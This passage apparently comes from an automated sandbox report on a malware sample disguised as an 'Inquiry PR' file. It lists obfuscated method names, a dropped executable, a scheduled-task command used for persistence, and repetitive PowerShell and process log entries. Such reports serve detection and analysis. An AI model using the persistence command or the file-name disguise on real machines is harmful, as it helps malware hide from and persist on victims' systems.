Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, R7l61W7Y4qgSklHn9m.cs	High entropy of concatenated method names: 'J9LZQKeMx0', 'ykFZ2LH8PV', 'WOvZKrL5O6', 'xRMZTCV0xn', 'gLaZGgK5Ua', 'Oj1Z5RkMRD', 'IDCZ3xHn0O', 'dA0ZIIEAIY', 'cHIZ0oWkWB', 'th3ZRWfyH8'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, r3Q1SYRNwEfwp9YRQp.cs	High entropy of concatenated method names: 'cOhWBZU1nM', 'thJW6M7Zry', 'TCKWcG2tlC', 'xGuWZ0XSvu', 'iPxWPnL32u', 'G0bWbseYVy', 't4MWVprckM', 'D28WXvWCpZ', 'GEsWyF2W8a', 'nQFW89mojk'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, A48FpKzWG2N1S4F0iV.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'QEk04fOwQm', 'tUJ0GCO9ul', 'GQL057o6tX', 'gbZ03pQyZY', 'BSr0ICbsFQ', 'ia100SuCeX', 'uSC0RIe59V'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, oywN7H2nk0EgtXT8BS.cs	High entropy of concatenated method names: 'crR3wexPE8', 'kAI3D4vprv', 'XyqIdtIrMH', 'fhIIive65h', 'zsY3a3DIpK', 'zyi3fN3E3P', 'LpC3e2WUkK', 'OvD3q9jpp3', 'WJ83MTQTfE', 'jnP3oFEl7I'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, QyCCYl8mpv3brNI45u.cs	High entropy of concatenated method names: 'Dispose', 'vu4ihK5lqN', 'Lolt15Q8ZU', 'GfkSSLiWuK', 'vjmiD02Xm0', 'GGmizTcHdA', 'ProcessDialogKey', 'TajtdEIXPV', 'KI5tiMkdWr', 'K08ttnc1dS'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, VPrUvSfspKnJabrj3o.cs	High entropy of concatenated method names: 'YHlbBctKa3', 'nZcbcjkdif', 'JNEbP2WiON', 'nuZbVbj6om', 'z79bXYfCAK', 'j0sPmZ8c1r', 'CEIPxaCmqJ', 'vjvPv9SDh3', 'b8uPwlkVls', 'HKxPhj4OgU'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, F5jrSH1cjhF6BXAvsS.cs	High entropy of concatenated method names: 'uwLPHA8OQM', 'SntP9ggPVF', 'DjfZlvQ00T', 'ITvZLddUqj', 'fe2ZOCfcXH', 'Jb4Zg4dqe3', 'gTHZYnSYY6', 'H8CZUFFl7i', 'K3kZE8oAhM', 'fELZJh1sNO'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, MWAaqsCjcPmuK8pvZQ.cs	High entropy of concatenated method names: 'VYyIFKKLoc', 'E2gI1MUWIK', 'iI0IlNMXWI', 'zymIL3sLVS', 'MefIq0BkDQ', 'ScIIOs0jXj', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, b9060lgXpIuMEFTtMf.cs	High entropy of concatenated method names: 'LZrcqFejME', 'VR8cMHQbf5', 'MCccoXwTGu', 'gxsckCdFcn', 'M3JcmA3qAb', 'IQlcxoFJwI', 'qN4cvyVOR3', 'VCUcw9tynr', 'f4Uch0vHqS', 'X1ZcDVFB3e'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, gPoWFxhx262UMoc7vh.cs	High entropy of concatenated method names: 'QwibC6E5MF', 'znSbuCQ9u8', 'Lk3bp8yq23', 's4YbQWIdnU', 'UBPb2rQIXZ', 'muKb9wRFlj', 'r3XbTt2E2m', 'GaUb7dyBe1', 'obw49p5ncWwy07BfqTO', 'd0ql2U50OwIV3ITGnt8'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, qxWLsh0o1oZb7o8vhC.cs	High entropy of concatenated method names: 'JprI6prXOl', 'lMXIcY8irO', 'H4jIZC4HRQ', 'LHMIPFU9AJ', 'idjIbX2i3v', 'fqHIVQWTd3', 'BUEIXTb88a', 'wpBIykQ4yh', 'nRfI8ooUQ8', 'SVKIN7lUUu'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, uUHGUwQ8UxCOAsbsCR.cs	High entropy of concatenated method names: 'zhU4KDdxOY', 'QAF4TPN6EO', 'kFx4FVnnfp', 'VpX41PR3iT', 'Nsf4LTOhIU', 'NTu4OgncMM', 'TEe4Yg4Tvo', 'yoM4UMeYw3', 'SB74Jkn6jq', 'Tt44avrLMT'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, VFJ7f6mhMZvHGAEqjh.cs	High entropy of concatenated method names: 'wPO38coWce', 'BQa3NkCeiC', 'ToString', 'bOV36lxBtb', 'hUm3ciI99g', 'OOW3ZeO0HR', 'mZJ3P73tg4', 'YOs3bxphbk', 'p063V5abgs', 'ffq3XdNGZj'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, mDomuj3kbVoYZcXPk7.cs	High entropy of concatenated method names: 'tTa0it1pnn', 'mJZ0WsOdX2', 'PAH0ABdFLw', 'M3W06IWo4p', 'dhI0c0I9UF', 'FrR0Pp7t0w', 'd4s0bavID1', 'DwiIvw9un3', 'Di0IwXDIUO', 'B8RIh5jBc6'
Source: 0.2.Inquiry PR#27957.bat.exe.4327d80.2.raw.unpack, xbiPAnwtp187E2yj75.cs	High entropy of concatenated method names: 'ToString', 'mVs5aBPEo2', 'rEM51GTygT', 'qev5lyNvWb', 'MXP5LtcKLU', 'SBd5Os0Dml', 'Dwt5gSugOv', 'bee5YSFoUx', 'xy35UGHha2', 'q9i5E5Em1C'

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe

File created: C:\Users\user\AppData\Roaming\fuqwoDzun.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fuqwoDzun" /XML "C:\Users\user\AppData\Local\Temp\tmp2C94.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
